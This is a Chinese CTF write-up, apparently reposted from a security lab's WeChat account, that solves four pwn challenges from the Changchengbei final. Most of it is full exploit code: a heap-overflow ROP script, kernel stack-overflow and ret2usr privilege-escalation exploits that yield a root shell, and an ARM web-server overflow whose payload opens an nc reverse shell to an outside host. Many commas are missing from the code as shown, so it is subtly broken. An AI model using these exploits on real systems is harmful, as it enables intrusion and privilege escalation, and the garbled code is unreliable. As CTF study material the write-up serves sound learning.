长城杯决赛的pwn全解

admin 2024年9月25日13:10:36评论12 views字数 16232阅读54分6秒阅读模式

老规矩 获取题目文件

链接: https://pan.baidu.com/s/1fIx94hN1DMjnjGi5HfrdZg?pwd=7d7m 提取码: 7d7m

NFS_Heap

edit存在堆溢出,直接覆盖下个tcache,改freehook为setcontext,根据题目libc调整一下gadget:

from pwn import *
libc = ELF("./libc.so.6")
context.arch = 'amd64'
shellcode = shellcraft.linux.open("./flag")
shellcode += shellcraft.linux.read(3'rsp'0x50)
shellcode += shellcraft.linux.write(1'rsp'0x50)
shellcode = asm(shellcode)
# context.log_level = 'debug'
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
# p = process("./pwnfile")
# p = process("./patch_file")
p = remote("8.147.132.32"25607)
def add(size, content):
    p.sendlineafter(b">>"b"1")
    p.sendlineafter(b"?:"str(size).encode())
    p.sendlineafter(b"?:", content)

def free(idx):
    p.sendlineafter(b">>"b"2")
    p.sendlineafter(b"?:"str(idx).encode())

def edit(idx, content):
    p.sendlineafter(b">>"b"3")
    p.sendlineafter(b"?:"str(idx).encode())
    p.sendlineafter(b"?:", content)

def show(idx):
    p.sendlineafter(b">>"b"4")
    p.sendlineafter(b"?:"str(idx).encode())

def quit():
    p.sendlineafter(b">>"b"5")

add(0x500'')
add(0x500'')
free(0)
add(0x500'')
# context.log_level = 'debug'
show(0)
p.recvuntil(b"are: n")
libc.address = (u64(p.recvuntil(b"x2dx2d")[:-2].ljust(8b'x00')) << 8) - 0x1beb00
success(f"libc: {hex(libc.address)}")
free(0)
free(1)
add(0x500'1nv0k3r')
add(0x70'')  # 1
free(0)
show(1)
p.recvuntil(b"are: n")
heap = (u64(p.recvuntil(b"x2dx2d")[:-2].ljust(8b'x00')) << 8) - 0x1a00
success(f"heap: {hex(heap)}")
add(0x208'1nv0k3r')   # 0
add(0x208'1nv0k3r')   # 2
add(0x208'1nv0k3r')   # 3

# pop_rdi = 0x0000000000023b6a + libc.address
# pop_rsi = 0x000000000002601f + libc.address
# pop_rdx = 0x0000000000119431 + libc.address
# push_rsp = 0x000000000003afc9 + libc.address
# ret = 0x00000000000be2f9 + libc.address
# magic = libc.address + 0x0000000000151bb0
# jmp_rsp = libc.address + 0x0000000000131afd
# jmp_rdi = libc.address + 0x00000000000e30f9
magic = libc.address + 0x000000000012c0f0
pop_rdi = libc.address + 0x0000000000026796
pop_rsi = libc.address + 0x000000000002890f
pop_rdx = libc.address + 0x00000000000f948d
# jmp_rsp = 
push_rsp = libc.address + 0x000000000003afc9
jmp_rdi = libc.address + 0x00000000000392f9
ret = libc.address + 0x00000000000a85da

add(0x208'1nv0k3r')   # 4
# free(0)
free(4)
free(3)
free(2)
edit(0b'a' * 0x200 + p64(0) + p64(0x211) + p64(libc.sym['__free_hook']) * 2)
# pause()
#: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];      
#: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];  

flag = heap + 0x25d0

orw  = p64(ret)
orw += p64(pop_rdi)
orw += p64(heap + 0x2000)
orw += p64(pop_rsi)
orw += p64(0x1000)
orw += p64(pop_rdx)
orw += p64(7) * 2
orw += p64(libc.sym['mprotect'])
# orw += p64(jmp_rsp)
orw += p64(pop_rdi)
orw += p64(heap + 0x25a8)
orw += p64(jmp_rdi)
orw += shellcode

payload = b'a' * 8
payload += p64(heap + 0x24a0)
payload += p64(libc.sym['setcontext'] + 53# 0x24a0, 0x20
payload += b'a' * 0x78
payload += p64(heap + 0x2548)
payload += orw
payload += b'./flag'
# pause()
add(0x208, payload) # 2
add(0x208, p64(magic))
# add(0x208, p64(libc.sym['setcontext'] + 61))
# print(jmp_rsp)
print(magic)
pause()
free(2)
p.interactive()

# 0x48, 0x88, 0x98, 0xa8, 0xb8, 0xd8, 

长城杯决赛的pwn全解

Kylin_Overflow

test.ko存在栈溢出,三个功能都需要检查密码后,可以泄露地址和canary,往堆块写数据,以及从堆块复制出来时导致的栈溢出,覆盖返回地址后调用commit_creds(prepare_kernel_cred(0)提权。

这道题是把初赛的稍微改了下加密逻辑,初赛的是直接xor了以后就返回了,决赛的这个除了需要写一下加解密还需要填一下canary,算是比较正经的栈溢出。

远程和本地的泄露的偏移不太一样,我选择打印出来以后,手工查了一下

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
#include <signal.h>
#define DEBUG 1

void success(const char *msg) {
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[32m�33[1m[+] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[31m�33[1m[x] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[34m�33[1m[*] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x10001);
    sprintf(buf, "%s: 0x%lxn", hint, var);
    handle(buf);
    free(buf);
}


unsigned long user_cs, user_ss, user_eflags,user_sp;
void save_stats(){
    asm(
        "movq %%cs, %0n"
        "movq %%ss, %1n"
        "movq %%rsp, %3n"
        "pushfqn"
        "popq %2n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
     );
}


void getRootShell() {
    success("Backing from the kernelspace.n");
    if(getuid()) {
        fail("Failed to get the root!n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}


void decrypt(unsigned char *buf, unsigned int len) {
    for (int i = 0; i < len; i ++){
        buf[i] = buf[i] >> 5 | buf[i] << 3;
        buf[i] = ~buf[i];
        buf[i] ^= 0xf8;
        buf[i] += 5;
    }
}

void  enc(unsigned char *buf, unsigned int len) {
    for (int i = 0; i < len; i ++){
        buf[i] -= 5;
        buf[i] ^= 0xf8;
        buf[i] = ~buf[i];
        buf[i] = (buf[i] << 5)| (buf[i] >> 3);
    }
}

void pwn(){

    int fd = open("/dev/test", O_RDWR);
    // leak
    unsigned char password[0x400] = "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74";
    decrypt(password, 0x20);
    ioctl(fd, 0xDEADBEEF, password);
     enc(password, 0x400);
    for (int i = 0; i < 0x400; i ++){
        printf("%02x ", password[i] & 0xff);
        if (i % 0x10 == 0xf){
            printf("n");
        }
    }
    size_t core_base = 0;
    for (int i = 7; i >= 0; i --){
        core_base = (core_base << 8) | (unsigned char)((password[i + 0x20]) & 0xff);
    }
    core_base -= 0x43;
    printvar(success, "core", core_base);
    size_t canary = 0;
    for (int i = 7; i >= 0; i --){
        canary = (canary << 8) | (unsigned char)((password[i + 0xd0]) & 0xff);
        // canary = (canary << 8) | (unsigned char)((password[i + 0x80]) & 0xff);
    }
    printvar(success, "canary", canary);
    size_t vmlinux_base = 0;
    for (int i = 7; i >= 0; i --){
        // vmlinux_base = (vmlinux_base << 8) | (unsigned char)((password[i + 0x58]) & 0xff);
        vmlinux_base = (vmlinux_base << 8) | (unsigned char)((password[i + 0x160]) & 0xff);
    }
    // vmlinux_base -= 0x33dcac;
    vmlinux_base -= 0x311c7c;
    printvar(success, "vmlinux", vmlinux_base);
    size_t commit_creds_addr, prepare_kernel_cred_addr;
    commit_creds_addr = vmlinux_base + 0xcf720;
    prepare_kernel_cred_addr = vmlinux_base + 0xcfbe0;

    // exp
    size_t rop[0x300];
    memcpy(rop, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74"0x20);
    memset(rop + 40x610x110);
    int i = 36;
    size_t pop_rdi_ret = vmlinux_base + 0x90c80;
    size_t mov_rdi_rax = core_base + 0x4c;
    size_t swapgs_ret = core_base + 0x54;
    size_t iretq_ret = vmlinux_base + 0x2cf;

    rop[i++] = canary;
    rop[i++] = 0xdeadbeef;
    rop[i++] = pop_rdi_ret;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred_addr;
    rop[i++] = mov_rdi_rax;
    rop[i++] = commit_creds_addr;
    rop[i++] = swapgs_ret;  
    rop[i++] = iretq_ret;
    rop[i++] = 0;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    decrypt(rop, 0x300);
    ioctl(fd, 0xFEEDFACE, rop);
    ioctl(fd, 0xCAFEBABE, rop);
    close(fd);
}
int main() {
    signal(SIGSEGV, getRootShell);
    save_stats();
    pwn();
    return 0;
}

长城杯决赛的pwn全解

顺带发一下初赛的吧,写都写了:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>
#include <signal.h>
#define DEBUG 1

void success(const char *msg) {
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[32m�33[1m[+] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[31m�33[1m[x] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[34m�33[1m[*] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x10001);
    sprintf(buf, "%s: 0x%lxn", hint, var);
    handle(buf);
    free(buf);
}


unsigned long user_cs, user_ss, user_eflags,user_sp;
void save_stats(){
    asm(
        "movq %%cs, %0n"
        "movq %%ss, %1n"
        "movq %%rsp, %3n"
        "pushfqn"
        "popq %2n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
     );
}


void getRootShell() {
    success("Backing from the kernelspace.n");
    if(getuid()) {
        fail("Failed to get the root!n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...n");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}


void pwn(){

    int fd = open("/dev/test", O_RDWR);
    // leak
    char password[0x300] = "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc";
    for (int i = 0; i < strlen(password); i ++){
        password[i] ^= 0xf9;
    }
    ioctl(fd, 0xDEADBEEF, password);
    size_t core_base = 0;
    for (int i = 7; i >= 0; i --){
        core_base = (core_base << 8) | (unsigned char)((password[i + 0x20] ^ 0xf9) & 0xff);
    }
    printvar(success, "core", core_base);
    size_t canary = 0;
    for (int i = 7; i >= 0; i --){
        canary = (canary << 8) | (unsigned char)((password[i + 0x90] ^ 0xf9) & 0xff);
    }
    printvar(success, "canary", canary);
    size_t vmlinux_base = 0;
    for (int i = 7; i >= 0; i --){
        vmlinux_base = (vmlinux_base << 8) | (unsigned char)((password[i + 0xc8] ^ 0xf9) & 0xff);
    }
    vmlinux_base -= 0x32a555;
    printvar(success, "vmlinux", vmlinux_base);
    size_t commit_creds_addr, prepare_kernel_cred_addr;
    commit_creds_addr = vmlinux_base + 0xcf720;
    prepare_kernel_cred_addr = vmlinux_base + 0xcfbe0;

    // exp
    size_t rop[0x100];
    memcpy(rop, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc"0x20);
    int i = 4;
    size_t pop_rdi_ret = vmlinux_base + 0x90c80;
    size_t mov_rdi_rax = core_base + 0x09;
    size_t swapgs_ret = core_base + 0x11;
    size_t iretq_ret = vmlinux_base + 0x2cf;

    rop[i++] = pop_rdi_ret;
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred_addr;
    rop[i++] = mov_rdi_rax;
    rop[i++] = commit_creds_addr;
    rop[i++] = swapgs_ret;  
    rop[i++] = iretq_ret;
    rop[i++] = 0;
    rop[i++] = user_cs;
    rop[i++] = user_eflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    for (int i = 0; i < 0x100; i ++){
        rop[i] = rop[i] ^ 0xf9f9f9f9f9f9f9f9;
    }

    ioctl(fd, 0xFEEDFACE, rop);
    close(fd);
}
int main() {
    signal(SIGSEGV, getRootShell);
    save_stats();
    pwn();
    return 0;
}

NFS_KUAF

看启动脚本没开kaslr和smep/smap,尝试直接ret2usr:

#!/bin/sh
qemu-system-x86_64 
    -m 256M 
    -kernel bzImage 
    -initrd rootfs.cpio 
    -monitor /dev/null 
    -append "root=/dev/ram console=ttyS0 loglevel=8 earlyprintk=serial,ttyS0,115200 nokaslr pti=off" 
    -cpu kvm64,-smep,-smap 
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
    -nographic 
    -no-reboot

初始化注册设备:

长城杯决赛的pwn全解

源码找函数定义:

struct miscdevice  {
 int minor;
 const char *name;
 const struct file_operations *fops;
 struct list_head list;
 struct device *parent;
 struct device *this_device;
 const struct attribute_group **groups;
 const char *nodename;
 umode_t mode;
};

extern int misc_register(struct miscdevice *misc);
struct file_operations {
 struct module *owner;
 loff_t (*llseek) (struct file *, loff_tint);
 ssize_t (*read) (struct file *, char __user *, size_tloff_t *);
 ssize_t (*write) (struct file *, const char __user *, size_tloff_t *);
    ...
 long (*unlocked_ioctl) (struct file *, unsigned intunsigned long);
 long (*compat_ioctl) (struct file *, unsigned intunsigned long);
 int (*mmap) (struct file *, struct vm_area_struct *);
    ...
}

长城杯决赛的pwn全解

根据上面的信息来看作者实现了read,write和ioctl函数。

read函数会检测堆块是否分配,已经分配的话就取出堆块的数据,作为函数调用后,返回给用户堆块地址。

write函数会检测堆块分配后,分配一个0x400的堆块,然后往堆块里写数据。

ioctl则会释放掉这个堆块导致UAF,但是实际上不需要UAF就可以利用。

因为没开任何随机化所以只需要往堆块里写一个用户态的函数就可以了,我直接套用了rop的板子:

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <signal.h>
#define DEBUG 1

void success(const char *msg) {
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[32m�33[1m[+] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
}

void fail(const char *msg) {
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[31m�33[1m[x] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
}

void debug(const char *msg) {
#ifdef DEBUG
    char *buf = calloc(0x10001);
    sprintf(buf, "�33[34m�33[1m[*] %s�33[0m", msg);
    fprintf(stderr"%s", buf);
    free(buf);
#endif
}

void printvar(void handle(const char *), char *hint, size_t var) {
    char *buf = calloc(0x10001);
    sprintf(buf, "%s: 0x%lxn", hint, var);
    handle(buf);
    free(buf);
}


unsigned long user_cs, user_ss, user_eflags,user_sp;
void save_stats(){
    asm(
        "movq %%cs, %0n"
        "movq %%ss, %1n"
        "movq %%rsp, %3n"
        "pushfqn"
        "popq %2n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
        :
        : "memory"
     );
}


void get_root_shell() {
    success("Backing from the kernelspace.n");
    if(getuid()) {
        fail("Failed to get the root!n");
        exit(-1);
    }
    success("Successful to get the root. Execve root shell now...n");
    system("/bin/sh");
    exit(0);
}

size_t vmlinux_base = 0xffffffff81000000;

void get_root_privilige()
{
    void *(*prepare_kernel_cred_ptr)(void *) = 0xffffffff810c5270;
    int (*commit_creds_ptr)(void *) = 0xffffffff810c5010;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void evil_func(){
    size_t SWAPGS_RET = 0xffffffff81074080;
    size_t IRETQ_POP_RBP_RET = 0xffffffff8103895b;
    size_t rop_chain[0x100], i = 0;
    size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c009f4 + 22;
    rop_chain[i++] = (size_t)get_root_privilige;
    rop_chain[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop_chain[i++] = *(size_t*) "aaaaaaaa";
    rop_chain[i++] = *(size_t*) "aaaaaaaa";
    rop_chain[i++] = (size_t)get_root_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_eflags;
    rop_chain[i++] = user_sp;
    rop_chain[i++] = user_ss;
    __asm__(
        "add $0x20, %rsp;"
        "ret;"
    );
}

void pwn(){
    int fd = open("/dev/uaf_device", O_RDWR);
    unsigned char buf[0x400];
    void *func = (void*)evil_func;
    memset(buf, 0x000x100);
    memcpy(buf, &func, 8);
    write(fd, buf, 0x100);
    read(fd, buf, 0x100);
    close(fd);
}
int main() {
    signal(SIGSEGV, get_root_shell);
    save_stats();
    pwn();
    
    return 0;
}

长城杯决赛的pwn全解

ics_cam

给了一个arm的httpd服务,看启动脚本关了地址随机化,推测可能是栈溢出之类的,跟到启动字符串boa: starting server pid=61,随便发个http包,发现不带Content-Length就会导致崩溃:

    if (*(char *)((int)param_1 + 0x357a) != '�') {
      pcVar12 = strstr(pcVar7,"Content-Length");
      pcVar1 = strchr(pcVar12,L'n');
      pcVar12 = strchr(pcVar12,L':');
      strncpy((char *)&local_38,pcVar12 + 1,(int)pcVar1 - (int)(pcVar12 + 1));
    }

这里代码从http请求里找Content-Length,如果没找到则pcVar12为空,导致调用strchr找换行的时候崩溃:

长城杯决赛的pwn全解

同时可以看到这里通过换行符和冒号来找Content-Length的数据,这里是可控的,strncpy导致了栈溢出,打个断点看看:

长城杯决赛的pwn全解

然后就是arm的栈溢出,R4-R11都可以控制,因为题目直接关了随机化,所以直接覆盖返回地址,找个gadget传一下命令,看了下文件里有busybox可以调用nc:

➜  rootfs qemu-arm -L ./ ./bin/busybox nc 
BusyBox v1.22.1 (2016-10-11 15:13:12 CST) multi-call binary.

Usage: nc [-iN] [-wN] [-l] [-p PORT] [-f FILE|IPADDR PORT] [-e PROG]

Open a pipe to IP:PORT or FILE

        -l      Listen mode, for inbound connects
                (use -ll with -e for persistent server)

最后脚本:

from pwn import *
p = remote("127.0.0.1"8081)
# system = 0xb6f74ab0
system = 0xb6f74afc
pop_r0_ret = 0xb6f755d8 # : pop {r0, pc}; 
cmd_addr = 0xbeffec38
cmd = b'nc 10.0.2.2 23333 -e /bin/sh;'
payload  = b'A' * 0x34
payload += p32(pop_r0_ret)
payload += p32(cmd_addr)
payload += p32(system)
payload += cmd

payload = b"POST / HTTP/1.1rnContent-Length:" + payload + b"n"
context.log_level = 'debug'
p.send(payload)
p.interactive()

长城杯决赛的pwn全解

 

原文始发于微信公众号(BeFun安全实验室):长城杯决赛的pwn全解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月25日13:10:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   长城杯决赛的pwn全解https://cn-sec.com/archives/3207135.html

发表评论

匿名网友 填写信息